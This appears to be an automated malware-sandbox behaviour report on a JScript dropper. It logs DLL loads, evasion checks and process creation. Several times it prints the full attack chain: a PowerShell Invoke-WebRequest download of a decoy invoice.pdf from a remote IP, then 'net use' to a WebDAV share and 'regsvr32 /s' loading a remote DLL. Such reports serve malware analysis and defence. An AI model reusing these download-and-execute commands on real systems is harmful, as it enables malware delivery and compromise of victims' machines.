Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5127.js.csv");ITextStream.WriteLine(" entry:6953 f:sjbkzrp");ITextStream.WriteLine(" exec:2 f:sjbkzrp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3350			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6547			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 3350 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 6547 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7956	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1780629168.0000026524A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2999864604.0000025D21255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1780495125.00000265249B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0A
Source: svchost.exe, 00000008.00000002.2998247915.0000025D1BC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

